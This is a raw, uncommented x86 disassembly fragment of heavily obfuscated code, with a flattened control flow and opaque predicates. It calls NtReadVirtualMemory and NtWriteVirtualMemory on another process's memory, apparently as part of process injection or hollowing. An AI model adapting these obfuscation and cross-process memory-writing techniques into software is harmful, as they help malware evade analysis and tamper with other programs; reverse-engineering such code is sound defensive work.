mov ecx, 0x18ba8e8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
sub edx, 0xe321104f
sub edx, 1
add edx, 0xe321104f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe6e9c73a
mov ecx, 0x5da1eeb8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10005ff0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x194], 0x6cf4386e
jmp 0x1000ee91
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x194], 0x4cd952ba
jmp 0x1000ee91
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5a17abdd
mov ecx, 0xae709d17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp - 0x184]
mov ecx, dword [0x1006e888]
mov eax, dword [0x1006e884]
mov edx, ecx
add edx, 0x9e13870c
sub edx, 1
sub edx, 0x9e13870c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5a17abdd
mov ecx, 0x8522ef68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov dword [ebp - 0x194], 0x66fdd4d3
jmp 0x1000ee91
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0xd8c4d76b
sub ecx, 8
add ecx, 0xd8c4d76b
shr ecx, 1
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp - 0x184]
mov eax, dword [0x1006e888]
mov ecx, dword [0x1006e884]
mov edx, eax
sub edx, 0xfe8e62ee
sub edx, 1
add edx, 0xfe8e62ee
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f046604
mov ecx, 0x31b2abdc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x194], 0xe1da986c
jmp 0x1000ee91
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x134]
mov eax, dword [0x1006e888]
mov ecx, dword [0x1006e884]
mov edx, eax
sub edx, 0x818a17c6
sub edx, 1
add edx, 0x818a17c6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x777c96f4
mov ecx, 0x883d005
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
sub ecx, 0xdcc9d03
add ecx, eax
add ecx, 0xdcc9d03
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x17c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x12c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x194], 0xd36cf4e2
jmp 0x1000ee91
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
sub ecx, 0xf2789a25
add ecx, 8
add ecx, 0xf2789a25
mov eax, dword [ebp - 0x17c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x168]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x184]
mov eax, dword [0x1006e888]
mov ecx, dword [0x1006e884]
mov edx, eax
add edx, 0x25e2c0e1
sub edx, 1
sub edx, 0x25e2c0e1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2ba2a6d0
mov ecx, 0xe02b397e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x1000ee91
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x194], 0xc26f925f
jmp 0x1000ee91
mov dword [ebp - 0x194], 0xaf14ec17
jmp 0x1000ee91
mov dword [ebp - 0x194], 0x89bc936a
jmp 0x1000ee91
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x194], 0xf1e74257
jmp 0x1000ee91
mov dword [ebp - 0x194], 0x9dc1bf31
jmp 0x1000ee91
mov dword [ebp - 0x194], 0xdb0c6dc6
jmp 0x1000ee91
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x194], 0x553689b8
jmp 0x1000ee91
mov dword [ebp - 0x194], 0x2ae17b30
jmp 0x1000ee91
mov dword [ebp - 0x194], 0x40a67280
jmp 0x1000ee91
mov dword [ebp - 0x194], 0x70826c83
jmp 0x1000ee91
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x194], 0x7db49e56
jmp 0x1000725f